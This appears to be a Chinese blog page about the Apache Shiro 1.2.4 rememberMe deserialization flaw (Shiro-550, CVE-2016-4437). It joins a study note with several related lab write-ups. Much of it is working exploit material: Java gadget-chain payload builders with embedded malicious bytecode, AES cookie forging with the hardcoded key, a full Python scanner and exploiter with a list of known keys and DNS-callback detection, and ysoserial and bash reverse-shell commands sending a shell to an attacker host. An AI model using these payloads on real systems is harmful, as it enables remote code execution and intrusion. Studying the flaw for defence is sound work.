-
2021-08-24 21:34:41
前言
看了点
Servlet
就回来直接看《Java安全漫谈》了,赶紧学点东西,过几天开学回去背sb马原就学不了了。学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把
TemplatesImpl
动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的shiro存在的漏洞进行攻击,其中利用TemplatesImpl
来对CC6进行改进。我个人感觉其实叫CC3在Shiro
的应用更为确切,所以我也是主要对CC3进行修改。来进行利用。Shiro的基本了解
关于
Shiro
第一反应肯定就是rememberMe
。了解一下:为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本及其之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
这个漏洞也叫
shiro-550
流程是这样的:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
shiro
的特征:未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
shiro<=1.2.4的版本中,这个固定的key位于
org.apache.shiro.mgt.AbstractRememberMeManager
:public abstract class AbstractRememberMeManager implements RememberMeManager { /** * private inner log instance. */ private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class); /** * The following Base64 string was generated by auto-generating an AES Key: * <pre> * AesCipherService aes = new AesCipherService(); * byte[] key = aes.generateNewKey().getEncoded(); * String base64 = Base64.encodeToString(key); * </pre> * The value of 'base64' was copied-n-pasted here: */ private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
因为学习环境中加上了CommonsCollections,因此反序列化利用CC。
分析
正常构造POC就是这样:
byte[] payloads = new CommonsCollections6().getPayload(); AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString());
得到CC6的字节数组,然后对其进行AES加密再进行BASE64加密,得到payload。这里利用了shiro内置的类进行加密。
然后打过去,会发现报了错:
[L
是一个JVM的标记,说明实际上这是一个数组,也就是说不能加载这个Transformer[]
。具体出了什么问题不是目前的我们研究的重点,具体可以参考一下参考链接中的文章。
结论就是,
shiro
的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以就要想办法利用
TemplatesImpl
的动态加载字节码来防止出现数组了。联想一下CC3的后半部分:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg=="); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{code}); setFieldValue(templates,"_name","feng"); Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] trueTransformers = new Transformer[]{ new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
这里也用到了数组,但是只有两个元素,想办法不用数组的简化关键就在于,
ConstantTransformer
的省略。为什么可以省略?其实并不是省略,关键就在于在整个CC3中,整个链子调用到了
LazyMap
的get()
方法的时候:public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
接下来本来是应该让调用了那个
Chainedtransformer
的transform
,然后依次调用数组中的transformer
。但是关键是,factory.transform(key)
是把key
给传了进去。也就是说,其实这个传入的key
完全可以代替一个ConstantTransformer
。这样一简化,Transformer[]
里面只有一个了,就干脆直接用了,不需要用chain
了。既然有了思路,再写一下。首先字节码的处理:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg=="); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{code}); setFieldValue(templates,"_name","feng");
然后产生一个
fakeTransformers
,用来防止在构造的过程中弹了计算器。真正的Transformers
不用数组,剩下的直接抄CC3就可以了:Transformer fakeTransformers = new ConstantTransformer(1); Transformer trueTransformers = new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,fakeTransformers); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")); Map expMap = new HashMap(); expMap.put(tiedMapEntry,"feng2");
key
的话就是本来的ConstantTransformer
里面的东西了。接下来就是把fake换成true:
outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(outerMap,trueTransformers); byte[] bytes = serialize(expMap); unserialize(bytes);
构造完成!实际上只是在CC3的基础上,把数组改掉就可以了。
产生payload然后去打即可:
package com.summer.cc6; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CommonsCollections6 { public byte[] getPayload() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get("EvilTest"); byte[] code = clazzz.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{code}); setFieldValue(templates,"_name","feng"); Transformer fakeTransformers = new ConstantTransformer(1); Transformer trueTransformers = new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,fakeTransformers); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")); Map expMap = new HashMap(); expMap.put(tiedMapEntry,"feng2"); outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(outerMap,trueTransformers); byte[] bytes = serialize(expMap); return bytes; } public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } } public static byte[] serialize(Object o) throws Exception{ try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(o); return baout.toByteArray(); } } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
package com.summer.shiro; import com.summer.cc6.CommonsCollections6; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.util.Base64; public class ShiroLearn { public static void main(String[] args) throws Exception{ createPayload(); } public static void createPayload() throws Exception{ byte[] payloads = new CommonsCollections6().getPayload(); AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
一个小改动就是:
ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get("EvilTest"); byte[] code = clazzz.toBytecode();
利用了
javassist
:这是一个字节码操纵的第三方库,可以帮助我将恶意类 生成字节码再交给 TemplatesImpl 。
很方便了,使用的话直接去maven仓库在pom.xml里写依赖就可以用了。
P神也提到了这个:
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
总结
也算是第一次接触shiro了,只不过其实只能算最前面的知识叭,因为主要还是去学习CC3的改动(CC6的改动),去了解动态加载字节码。加油加油。
参考链接
《Java安全漫谈》
https://www.freebuf.com/vuls/264079.html
https://blog.zsxsoft.com/post/35
更多相关内容 -
shiro反序列化脚本.zip
2021-07-28 00:22:47需要用到的俩个文件 ysoserial-master.jar 和 poc.py -
基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf
2021-09-19 23:03:14基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf -
shiro反序列化
2022-04-07 16:54:12shiro反序列化 1 原理 2 复现方式 3 待解决的问题 4 参考链接 CVE-2016-4437 服务器:192.168.43.127 攻击机:192.168.43.149 1 原理 shiro有记住密码的功能,密码是一段存储的cookie,其中shiro记住密码,功能...shiro反序列化
CVE-2016-4437
服务器:192.168.43.127
攻击机:192.168.43.1491 原理
shiro有记住密码的功能,密码是一段存储的cookie,其中shiro记住密码,功能就是下次登录不用再输入密码了,走了以下流程 反序列化-base64-aes加密,可以伪造一个带有bash反弹shell的cookie,流程暂定,还需要再次确认。
http://192.168.43.127:8080
样子
特征
burp-shiro插件也检测出来了key2 复现方式
(1)使用现成的工具,一键利用,反弹shell
工具下载链接
目测dnslog可以成功,其他都不行
无需选择,自动跑
反弹shell,在kali机开启监听
kali接收到shell(2)使用反序列化,暂时不太成功,暂时拿不到反弹的shell,正在反思原因,反思后,问题解决,使用CommonsCollections6
- java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-I}”
bash往192.168.43.149弹shell
- python3 shiro.py 192.168.43.149:6666
-
发送payload,200成功
-
弹回来shell
发送cookie的curl方法,虽然是405,也可以弹回来shell
实际测试,即使不加/doLogin,直接给端口发也可以成功
curl -H “Cookie:rememberMe=dX3OOTh9SgeaquQwE0rhN5uE9GvMyuGHY212yGd+WfCLN2Wh7tj2bsFbYr4bFbxrQkuqNP8EKOuVImFxBSc+wdNP3jZprzQESs2rsfYt+EoIZ1PVES9ef43sC4CgC5hJXPUAVq2OWXmv+f6Nd1UV7AH8wtuN0frTWF1f6188Te3gQ5QZKAi3k5PF9RAFQMG5xWBhxr4UR/dX+aMZdcc4z5SdjoUX9qlGg3lnnUSjeAA+JT4akLH2QR7TTjYUu6XyDzOXLfgoZNzb1oVcj2bPDPZOguWdRfQ9j6lFa3TauxBUhx3qnUaixfo94hvNWITOE9EkC842B83IPEFAb4/t/CmJGJ7EiIv+RIjdE8EssPgtNZbuptdXKYkCMGmtDW4+i3Aa+pZ/enAJhTlOoJ6gIQ==” -I http://192.168.43.127:8080/doLogin
shiro.py的源码
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("encode_rememberMe={0}".format(payload.decode()))
3 待解决的问题
- key是什么,作用是什么
- cookie识别调用的过程
- 生成cookie的代码是否可以自己写,其中网上错误的代码导致报错,原因是print少了一对括号,还是要有自己的判断能力。
错误示范
-
kail使用ysoserial启一个1099端口
那一段是bash反弹shell经过base64加密的代码,但是CommonsCollections4无法成功java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMTQ5Lzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}”
4 参考链接
(1)https://xz.aliyun.com/t/9488 #反弹shell的其他形式 (2) https://blog.csdn.net/m0_48520508/article/details/107770264?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162079768016780269831639%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162079768016780269831639&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-107770264.first_rank_v2_pc_rank_v29&utm_term=cve-2016-4437 #maven和ysoserial配置
- java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-I}”
-
漏洞复现——shiro反序列化
2022-05-22 21:42:43漏洞复现——shiro反序列化。今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。
一、漏洞描述:
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
Apache Shiro 1.0.0版本至1.2.4版本中存在信息泄露漏洞,该漏洞源于程序未能正确配置‘remember me’功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。
二、漏洞原理:
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
详细漏洞原理介绍参考:
https://baijiahao.baidu.com/s?id=1719489508581577349&wfr=spider&for=pc
三、漏洞复现
3.1环境搭建
docker pull medicean/vulapps:s_shiro_1 docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 访问http://localhost:8081即可
3.2漏洞检测
python shiro_exploit.py -u http://192.168.3.3:8081
扫描脚本:shiro_exploit.py
#! python2.7 import os import re import base64 import uuid import subprocess import requests import sys import json import time import random import argparse from Crypto.Cipher import AES JAR_FILE = 'ysoserial.jar' CipherKeys = [ "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", "2AvVhdsgUs0FSA3SDFAdag==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "wGiHplamyXlVB11UXWol8g==", "cmVtZW1iZXJNZQAAAAAAAA==", "Z3VucwAAAAAAAAAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "L7RioUULEFhRyxM7a2R/Yg==", "RVZBTk5JR0hUTFlfV0FPVQ==", "fCq+/xW488hMTCD+cmJ3aQ==", "WkhBTkdYSUFPSEVJX0NBVA==", "1QWLxg+NYmxraMoxAXu/Iw==", "WcfHGU25gNnTxTlmJMeSpw==", "a2VlcE9uR29pbmdBbmRGaQ==", "bWluZS1hc3NldC1rZXk6QQ==", "5aaC5qKm5oqA5pyvAAAAAA==", #"ZWvohmPdUsAWT3=KpPqda", "r0e3c16IdVkouZgk1TKVMg==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "LEGEND-CAMPUS-CIPHERKEY==" #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", ] gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"] session = requests.Session() def genpayload(params, CipherKey,fp): gadget,command = params if not os.path.exists(fp): raise Exception('jar file not found') popen = subprocess.Popen(['java','-jar',fp,gadget,command], stdout=subprocess.PIPE) BS = AES.block_size #print(command) pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() #key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(CipherKey), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def getdomain(): try : ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text except Exception as e: print("getdomain error:" + str(e)) ret = "error" pass return ret def getrecord(): try : ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text #print(ret) except Exception as e: print("getrecord error:" + str(e)) ret = "error" pass return ret def check(url): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url print("checking url:" + url) domain = getdnshost() if domain: reversehost = "http://" + domain for CipherKey in CipherKeys: ret = {"vul":False,"CipherKey":"","url":target} try: print("try CipherKey :" +CipherKey) payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE) print("generator payload done.") r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print("send payload ok.") for i in range(1,5): print("checking.....") time.sleep(2) temp = getrecord() if domain in temp: ret["vul"] = True ret["CipherKey"] = CipherKey break except Exception as e: print(str(e)) pass if ret["vul"]: break else: print("get dns host error") return ret def exploit(url,gadget,params,CipherKey): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = genpayload((gadget, params),CipherKey,JAR_FILE) r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print(r.text) except Exception as e: print("exploit error:" + str(e)) pass def getdnshost(): reversehost = "" try : domain = getdomain() if domain=="error": print("getdomain error") else: #reversehost = "http://" +domain reversehost = domain #print("got reversehost : " + reversehost) except: pass return reversehost def detector(url,CipherKey,command): result = [] if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: for g in gadgets: g = g.strip() domain = getdnshost() if domain: if g == "JRMPClient": param = "%s:80" % domain else: param = command.replace("{dnshost}",domain) payload = genpayload((g, param),CipherKey,JAR_FILE) print(g + " testing.....") r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) #print(r.read()) for i in range(1,5): #print("checking.....") time.sleep(2) temp = getrecord() if domain in temp: ret = g #ret["CipherKey"] = CipherKey result.append(ret) print("found gadget:\t" + g) break else: print("get dns host error") #break #print(r.text) except Exception as e: print("detector error:" + str(e)) pass return result def parser_error(errmsg): print("Usage: python " + sys.argv[0] + " [Options] use -h for help") sys.exit() def parse_args(): # parse the arguments parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target") parser.error = parser_error parser._optionals.title = "OPTIONS" parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True) parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False) parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False) parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False) parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False) return parser.parse_args() if __name__ == '__main__': args = parse_args() url = args.url type = args.type command = args.params key = args.key gadget = args.gadget if type=="1": r = check(url) print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"])) elif type=="2": exploit(url,gadget,command,key) print("exploit done.") elif type=="3": r = detector(url,key,command) if r : print("found gadget:\n") print(r) else: print("invalid type")
也可以直接用工具检测
各种工具齐上阵,注入内存马用冰蝎试试
没毛病,接下来想干啥就能干啥了。
以上为实验环境,实战中切记合法测试,否则将会得到一副“银手镯”奖励哦。
-
shiro 反序列化 _CVE-2016-4437
2021-12-28 14:08:091.环境搭建 实验靶机:CentOS7(192.168.2.102) 攻击机:Kali-Linux(192.168.2...下载shiro反序列化工具: Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com) 填入靶机地址: 对kal1.环境搭建
实验靶机:CentOS7(192.168.2.102)
攻击机:Kali-Linux(192.168.2.101)
在CentOS7开启docker容器:
浏览器登录192.168.2.102:8080
2.漏洞利用
影响版本:Apache Shiro <= 1.2.4
下载shiro反序列化工具:
Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com)
填入靶机地址:
对kali的9999端口进行监听:
点击执行:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIYV23xh-1640671674023)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211225131031.png)]
可以看到shell反弹成功,获取root权限
利用的的反弹shell:
bash -i >& /dev/tcp/IP/PORT 0>&1
放到网站上进行加密java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
3.漏洞分析
漏洞原因:
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
-
每天一个漏洞之——shiro反序列化
2022-04-12 13:32:21每天一个漏洞之——shiro反序列化 原因:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化... -
Shiro反序列化的检测与利用
2021-02-25 09:47:161. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。 2. 环境搭建 环境搭建vulhub ...4. 自动检测Shiro反序列化之burp插件 https://g -
Apache shiro 反序列化及利用链
2022-04-27 20:30:45反序列化 decrypt 解密 函数需要通过key 解密 密钥值是固定的 触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化 DNS可以出网,使用dnslog进行攻击 结合Dnslog与URLDNS... -
shiro反序列化之k1/2利用链
2022-03-03 10:49:50上篇文章我们一起看了t3协议,t3反序列化的修复手段是在resolveClass方法添加检查,增加黑名单的形式。而shiro是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞... -
shiro反序列化之长度限制
2022-03-24 20:13:41今天又是一天打工人,日常挖洞,结果盆友给了一个shiro反序列化洞,默认密钥,可真是激动的心颤抖的手,大清早让人莫名兴奋,心里还在想这是昨天熬夜的奖励嘛,来的这么突然,于是赶紧掏出了shiro反序列化利用工具,... -
Shiro反序列化命令执行漏洞分析
2021-04-09 15:54:50Shiro反序列化命令执行漏洞分析 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的... -
第9篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载
2022-06-10 10:53:02Part1 前言这个小工具的编写源于一个HW蓝队项目,我曾经作为蓝队人员值守了2周,期间发现很多蓝队人员对于反序列化系列漏洞原理不清楚,导致对设备告警的各种反序列化攻击不能有效地研判,也就是说不能底气十足地... -
Java反序列化利用链挖掘之Shiro反序列化
2022-02-24 15:28:07在跟了一遍commons-collections系列的payload后,终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。 当前,不管是国内实际的xx行动还是ctf比赛,shiro反序列化会经常看到。但在实际利用这个漏洞的时候,... -
shiro反序列化工具
2022-02-11 17:38:06shiro反序列化工具 -
vulhub——shiro反序列化getshell漏洞复现
2020-11-24 13:07:40Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 二、环境搭建 ... -
[Vulfocus解题] shiro 反序列化 (CVE-2016-4437)
2022-01-22 12:13:42解题过程: 1.打开靶场环境,进入首页 2.使用shiro反序列化工具执行命令 3.执行ls命令查看当前目录下存在什么文件 发现flag -
Shiro_exploit:Apache Shiro反序列化进攻检测与利用工具
2021-03-21 08:36:53Shiro_exploit用于检测与利用Apache Shiro反序列化漏洞脚本。可以帮助企业发现自身安全漏洞。 该脚本通过网络收集到的22个键,利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则... -
shiro反序列化复现.zip
2019-08-03 23:37:14shiro反序列化复现工具包;shiro反序列化复现工具包; -
shiro反序列化测试工具.zip
2021-06-04 16:55:38shiro反序列化测试工具包,两个使用任意一个即可 -
shiro反序列化生成KEY
